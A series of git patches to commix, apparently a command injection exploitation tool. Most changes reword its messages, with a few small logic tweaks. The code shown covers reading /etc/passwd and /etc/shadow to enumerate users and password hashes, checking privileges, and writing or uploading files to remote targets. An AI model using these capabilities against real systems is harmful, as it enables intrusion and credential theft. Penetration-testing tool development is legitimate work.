@@ -459,7 +459,7 @@ def save_cmd_history(): readline.set_history_length(settings.MAX_HISTORY_LENGTH) readline.write_history_file(cli_history) except (IOError, AttributeError) as e: - warn_msg = "There was a problem writing the history file '" + cli_history + "'." + warn_msg = "Unable to write the history file '" + cli_history + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -847,8 +847,8 @@ def check_os_shell_options(cmd, technique, go_back, no_result): """ def procced_with_file_based_technique(): while True: - message = "Due to the provided '--web-root' option," - message += " do you want to procced with the (semi-blind) " + message = "Due to the provided '--web-root' option, " + message += "do you want to proceed with the (semi-blind) " message += "file-based injection technique? [y/N] > " enable_fb = common.read_input(message, default="N", check_batch=True) if enable_fb in settings.CHOICE_YES: @@ -901,13 +901,13 @@ def continue_tests(err): str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ not menu.options.skip_waf and \ not settings.HOST_INJECTION : - warn_msg = "It seems that target is protected by some kind of WAF/IPS." + warn_msg = "It seems the target is protected by some kind of WAF/IPS." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True message = "" if str(err.code) == settings.NOT_FOUND_ERROR: - message = "It is not recommended to continue in this kind of cases. " + message = "It is not recommended to continue in such cases. " if settings.START_SCANNING and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -936,7 +936,7 @@ def continue_tests(err): """ def unavailable_option(check_option): warn_msg = "The option '" + check_option + "' " - warn_msg += "is not yet supported Windows targets." + warn_msg += "is currently not supported on Windows targets." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -954,7 +954,7 @@ def time_based_separators(separator, http_request_method): GNU 'readline' module installed. """ def no_readline_module(): - err_msg = "It seems that your platform does " + err_msg = "It seems your platform does " err_msg += "not have GNU 'readline' module installed." err_msg += " Download the" if settings.IS_WINDOWS: @@ -980,10 +980,9 @@ def ps_check(): if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: - message = "The payloads in some options that you " - message += "have chosen are requiring the use of powershell. " - message += "Do you want to use the \"--ps-version\" flag " - message += "to ensure that is enabled? [Y/n] > " + message = "Some payloads in the selected options require PowerShell. " + message += "Do you want to use the '--ps-version' flag " + message += "to ensure it is enabled? [Y/n] > " ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: menu.options.ps_version = True @@ -1001,8 +1000,7 @@ def ps_check(): """ def ps_check_failed(): while True: - message = "Do you want to ignore the above warning " - message += "and continue the procedure? [Y/n] > " + message = "Do you want to proceed despite the above warning? [Y/n] > " ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: break @@ -1020,11 +1018,11 @@ def check_CGI_scripts(url): try: CGI_SCRIPTS = [] if not os.path.isfile(settings.CGI_SCRIPTS ): - err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" + err_msg = "The pages/scripts list '" + settings.CGI_SCRIPTS + "' was not found" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(settings.CGI_SCRIPTS ) == 0: - err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." + err_msg = "The pages/scripts list '" + settings.CGI_SCRIPTS + "' is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() with open(settings.CGI_SCRIPTS , "r") as f: @@ -1032,7 +1030,7 @@ def check_CGI_scripts(url): line = line.strip() CGI_SCRIPTS.append(line) except IOError: - err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." + err_msg = " Cannot read the pages/scripts list '" + settings.CGI_SCRIPTS + "'. Check if the file is corrupted or unreadable." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1064,8 +1062,8 @@ def check_url(url): try: return _urllib.parse.urlsplit(url) except ValueError as ex: - err_msg = "Invalid target URL has been given. " - err_msg += "Please be sure that you do not have any leftover characters (e.g. '[' or ']') " + err_msg = "Invalid target URL provided. " + err_msg += "Please ensure there are no leftover characters (e.g., '[' or ']') " err_msg += "in the hostname part." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1095,7 +1093,7 @@ def check_http_s(url): url = "http://" + url settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https" else: - err_msg = "Invalid target URL has been given. " + err_msg = "Invalid target URL provided. " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1124,12 +1122,9 @@ def check_connection(url): if not settings.MULTI_TARGETS: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except socket.error: + except (socket.error, UnicodeError) as e: err_msg = "Problem occurred while " err_msg += "resolving a host name '" + hostname + "'" - except UnicodeError: - err_msg = "Problem occurred while " - err_msg += "handling a host name '" + hostname + "'" if not settings.MULTI_TARGETS: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1145,7 +1140,7 @@ def user_defined_os(): elif menu.options.os.lower() == "unix": return True else: - err_msg = "You defined wrong value '" + menu.options.os + "' " + err_msg = "You defined an invalid value '" + menu.options.os + "' " err_msg += "for operation system. The value, must be 'Windows' or 'Unix'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1159,7 +1154,7 @@ def define_target_os(): return else: while True: - message = "Do you recognise the server's underlying operating system? " + message = "Do you recognize the server's underlying operating system? " message += "[(N)o/(u)nix-like/(w)indows/(q)uit] > " got_os = common.read_input(message, default="N", check_batch=True) if got_os.lower() in settings.CHOICE_OS : @@ -1214,7 +1209,7 @@ def third_party_dependencies(): import sqlite3 except ImportError: err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " - err_msg += "in order to store previous injection points and commands. " + err_msg += "to store previous injection points and commands. " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1226,16 +1221,14 @@ def third_party_dependencies(): import pyreadline except ImportError: err_msg = "The 'pyreadline' (third-party) library is required " - err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features." + err_msg += "to enable TAB completion and history support features." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif settings.PLATFORM == "posix": try: import gnureadline except ImportError: err_msg = "The 'gnureadline' (third-party) library is required " - err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features." + err_msg += "to enable TAB completion and history support features." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass @@ -1244,9 +1237,9 @@ def third_party_dependencies(): """ def http_auth_err_msg(): err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" - err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" - err_msg += " and continue tests without providing valid credentials." + err_msg += "HTTP authentication credentials (e.g., --auth-cred=\"admin:admin\"), " + err_msg += "or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized) " + err_msg += "and continue tests without providing valid credentials." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1281,7 +1274,7 @@ def time_delay_recommendation(): Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - message = "Unexpected time delays that may lead to false-positive results, have been identified." + message = "Unexpected time delays, which could cause false-positive results, have been identified." settings.print_data_to_stdout(settings.END_LINE.CR) while True: message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " @@ -1322,7 +1315,7 @@ def time_related_attaks_msg(): Check if defined "--url-reload" option. """ def reload_url_msg(technique): - warn_msg = "On " + technique + "technique, the '--url-reload' option is not available." + warn_msg = "On the " + technique + "technique, the '--url-reload' option is not available." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2237,7 +2230,7 @@ def print_current_user_privs(shell, filename, _): if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Current user has excessive privileges: " + str(priv) + info_msg = "Current user has elevated privileges: " + str(priv) settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: @@ -2279,28 +2272,28 @@ def current_user_msg(self): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def check_privs_msg(self): - info_msg = "Testing if current user has excessive privileges." + info_msg = "Testing whether the current user has elevated privileges." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def os_info_msg(self): - info_msg = "Fetching the underlying operating system information." + info_msg = "Fetching underlying operating system information." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_users_msg(self): if settings.TARGET_OS == settings.OS.WINDOWS: info_msg = "Executing the 'net user' command " else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " - info_msg += "in order to enumerate operating system users. " + info_msg = "Fetching contents of the file '" + settings.PASSWD_FILE + "' " + info_msg += "to enumerate operating system users. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_passes_msg(self): - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " - info_msg += "in order to enumerate operating system users password hashes. " + info_msg = "Fetching contents of the file '" + settings.SHADOW_FILE + "' " + info_msg += "to enumerate operating system users password hashes. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): - info_msg = "Executing the user-supplied command: '" + cmd + "'." + info_msg = "Executing user-supplied command '" + cmd + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ @@ -2340,13 +2333,13 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) else: # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "It seems you do not have permissions to enumerate operating system users." + warn_msg = "It seems you do not have permission to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "It seems you do not have permissions to enumerate operating system users." + warn_msg = "It seems you do not have permission to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) pass @@ -2361,7 +2354,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi sys_users = sys_users.split(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " + warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() @@ -2427,7 +2420,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) except ValueError: if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " + warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) @@ -2436,8 +2429,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if not menu.options.no_logging: output_file.write(" " + sys_users) else: - warn_msg = "It seems you do not have permissions " - warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'." + warn_msg = "It seems you do not have permission " + warn_msg += "to read the contents of the file '" + settings.PASSWD_FILE + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass @@ -2482,7 +2475,7 @@ def print_passes(sys_passes, filename, _, alter_shell): # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.print_data_to_stdout(fields[0]) @@ -2490,8 +2483,8 @@ def print_passes(sys_passes, filename, _, alter_shell): if not menu.options.no_logging: output_file.write(" " + fields[0]) else: - warn_msg = "It seems you do not have permissions " - warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'." + warn_msg = "It seems you do not have permission " + warn_msg += "to read the contents of the file '" + settings.SHADOW_FILE + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2615,7 +2608,7 @@ def change_dir(dest_to_write): """ def file_content_to_read(): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" + info_msg = "Fetching contents of the file: '" info_msg += file_to_read + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: @@ -2632,7 +2625,7 @@ def file_content_to_read(): """ def file_read_status(shell, file_to_read, filename): if shell: - _ = "Fetched file content" + _ = "Retrieved file content" settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: @@ -2640,8 +2633,8 @@ def file_read_status(shell, file_to_read, filename): info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "It seems you do not have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." + warn_msg = "It seems you do not have permission " + warn_msg += "to read the contents of the file '" + file_to_read + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2663,12 +2656,12 @@ def check_destination(destination): return _ """ -Write the content of the file +Write the content of a local file to a remote destination. """ def check_file_to_write(): file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): - err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist." + err_msg = "The specified local file '" + file_to_write + "' does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -2680,36 +2673,36 @@ def check_file_to_write(): import base64 content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." + warn_msg = "The specified path '" + file_to_write + "' is not a file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) dest_to_write = check_destination(destination=menu.options.file_dest) - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + info_msg = "Attempting to write the contents of file '" + info_msg += file_to_write + "' to the remote directory '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return file_to_write, dest_to_write, content """ -File write status +Display the result of an attempted file write to the remote target. """ def file_write_status(shell, dest_to_write): if shell: - info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." + info_msg = "The file has been successfully created in remote directory: '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems you do not have permissions to write files on the remote directory '" + dest_to_write + "'." + warn_msg = "It seems you do not have permission to write files to the remote directory '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -File upload procedure. +Handle the file upload process to a remote target. """ def check_file_to_upload(): file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" + warn_msg = "The remote file '" + file_to_upload + "' does not appear to exist. (" +str(err_msg)+ ")" settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() except ValueError as err_msg: @@ -2717,8 +2710,8 @@ def check_file_to_upload(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() dest_to_upload = check_destination(destination=menu.options.file_dest) - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + info_msg = "Attempting to upload the file '" + info_msg += file_to_upload + "' to the remote directory '" + dest_to_upload + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload @@ -2732,7 +2725,7 @@ def file_upload_status(shell, dest_to_upload): info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems you do not have permissions to upload files on the remote directory '" + dest_to_upload + "'." + warn_msg = "It seems you do not have permission to upload files on the remote directory '" + dest_to_upload + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2809,20 +2802,20 @@ def define_vulnerable_http_header(http_header_name): def check_wrong_flags(): if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.is_root : - warn_msg = "Swithing '--is-root' to '--is-admin' because the " + warn_msg = "Switching '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as Windows." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.passwords: - warn_msg = "The '--passwords' option, is not yet supported Windows targets." + warn_msg = "The '--passwords' option is not yet supported on Windows targets." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : - warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " + warn_msg = "The '--file-upload' option is not yet supported on Windows targets. " warn_msg += "Instead, use the '--file-write' option." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() else: if menu.options.is_admin : - warn_msg = "Swithing the '--is-admin' to '--is-root' because " + warn_msg = "Switching '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as Unix-like. " settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2833,7 +2826,7 @@ def setting_writable_dir(path): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Using '" + path + "' for writable directory." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in directory '" + path + info_msg = "Attempting to create a file in directory '" + path info_msg += "' for command execution output. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -3021,12 +3014,11 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) settings.print_data_to_stdout(settings.END_LINE.CR) - message = "It seems you do not have permissions to " - message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - if not menu.options.web_root: - message += " You are advised to rerun with option '--web-root'." while True: - message = message + settings.END_LINE.LF + "Would you like to use the temporary directory ('" + tmp_path + "') instead? [Y/n] > " + message = "Insufficient permissions on directory '" + settings.WEB_ROOT + "'. " + # if not menu.options.web_root: + # message += " You are advised to rerun with option '--web-root'." + message += "Use '" + tmp_path + "' instead? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -3074,7 +3066,7 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim else: # Check for separator filtration on target host. if output != False : - err_msg = "It seems that '" + cmd + "' command could not return " + err_msg = "It seems '" + cmd + "' command could not return " err_msg += "any output due to '" + separator + "' filtration on target host. " err_msg += "To bypass that limitation, use the '--alter-shell' option " err_msg += "or try another injection technique." @@ -3189,7 +3181,7 @@ def set_python_working_dir(): if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " + message = "Please specify the full path to the Python interpreter executable (e.g., '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break @@ -3227,7 +3219,7 @@ def set_python_interpreter(): if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " + message = "Please specify the full filesystem path of a custom Python interpreter to use (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index b2148a44fc..68672c1b56 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -616,7 +616,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec except _urllib.error.URLError as e: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - warn_msg = "It seems you do not have permissions to " + warn_msg = "It seems you do not have permission to " warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c5aa1b58ea..7a624c3dde 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -67,7 +67,7 @@ def invalid_data(request): request_file = menu.options.logfile if not os.path.exists(request_file): - err_msg = "It seems that the '" + request_file + "' file, does not exist." + err_msg = "It seems the '" + request_file + "' file, does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/core/main.py b/src/core/main.py index 15a3332c83..05cabe77c1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -516,7 +516,7 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: - info_msg = "Performing identification (passive) tests to the target URL." + info_msg = "Performing heuristic (passive) tests on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) @@ -912,12 +912,12 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not os.path.exists(bulkfile): - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." + err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file, does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif os.stat(bulkfile).st_size == 0: - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." + err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file, is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/common.py b/src/utils/common.py index ecab9d96b4..f715b4aef8 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -31,7 +31,7 @@ Invalid cmd output """ def invalid_cmd_output(cmd): - err_msg = "The execution of '" + cmd + "' command, does not return any output." + err_msg = "Execution of the '" + cmd + "' command did not return any output." return err_msg """ diff --git a/src/utils/purge.py b/src/utils/purge.py index 81b7dbfebf..fd135c9ce4 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -40,7 +40,7 @@ def purge(): warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return - info_msg = "Purging content of directory '" + directory + "'." + info_msg = "Purging contents of directory '" + directory + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Purging content of target directory. diff --git a/src/utils/settings.py b/src/utils/settings.py index 107c74dae0..42892d8773 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5834057b4fe5c264671eada263576fe1211369fd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 26 Jun 2025 07:36:39 +0300 Subject: [PATCH 0573/1023] Trivial update --- src/core/injections/controller/injector.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 23a1b42778..cdd917f19f 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -353,7 +353,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.DEFINED_WEBROOT = output return output - if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: + if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS or not settings.RECHECK_FILE_FOR_EXTRACTION: if menu.options.web_root: scheme = _urllib.parse.urlparse(url).scheme hostname = _urllib.parse.urlparse(url).hostname @@ -381,6 +381,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): info_msg = "Using '" + output info_msg += "' for command execution output." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.RECHECK_FILE_FOR_EXTRACTION = True if not settings.DEFINED_WEBROOT: pass else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 42892d8773..d8e5112a3d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c69706ddf428be567f8ec0a0be1ffe5cbdeae638 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 27 Jun 2025 07:03:10 +0300 Subject: [PATCH 0574/1023] Minor update to ensure the 'network stress' warning is printed only once per run. --- src/core/injections/controller/checks.py | 6 ++++-- src/utils/settings.py | 3 ++- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f08eab2620..aa55a8e4e5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1308,8 +1308,10 @@ def time_related_shell(url_time_response, exec_time, timesec): Message regarding time related attcks """ def time_related_attaks_msg(): - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not settings.TIME_RELATED_ATTACK_WARNING: + warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.TIME_RELATED_ATTACK_WARNING = True """ Check if defined "--url-reload" option. diff --git a/src/utils/settings.py b/src/utils/settings.py index d8e5112a3d..3d919de880 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -459,6 +459,7 @@ class OS(object): FILE_BASED_STATE = False TEMPFILE_BASED_STATE = False TIME_RELATED_ATTACK = False +TIME_RELATED_ATTACK_WARNING = False # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" From 5ef0a7798b17500dd7360816f9426ce1396d822e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 30 Jun 2025 08:50:57 +0300 Subject: [PATCH 0575/1023] Improved semiblind ("file-based") technique with filename customization prompt (random or user-defined). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/handler.py | 13 +++-- src/core/injections/controller/injector.py | 53 +++++++++++++++++++ .../techniques/file_based/fb_injector.py | 5 ++ .../techniques/tempfile_based/tfb_injector.py | 5 ++ src/utils/settings.py | 3 +- 6 files changed, 75 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 747acd9def..83873000e1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Improved semiblind ("file-based") technique with filename customization prompt (random or user-defined). * Fixed: Improved handling of non-ASCII characters in URL path and query components. * Fixed: Improved handling of HTTP errors missing response codes during authentication. * Fixed: Improved handling of `URLError` without HTTP response. diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 68672c1b56..7f4f0840e4 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -226,7 +226,8 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti settings.TIME_BASED_STATE = True elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: settings.TEMPFILE_BASED_STATE = True - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + #OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) cmd = shell = "" checks.check_for_stored_tamper(payload) settings.FOUND_EXEC_TIME = exec_time @@ -247,7 +248,8 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - 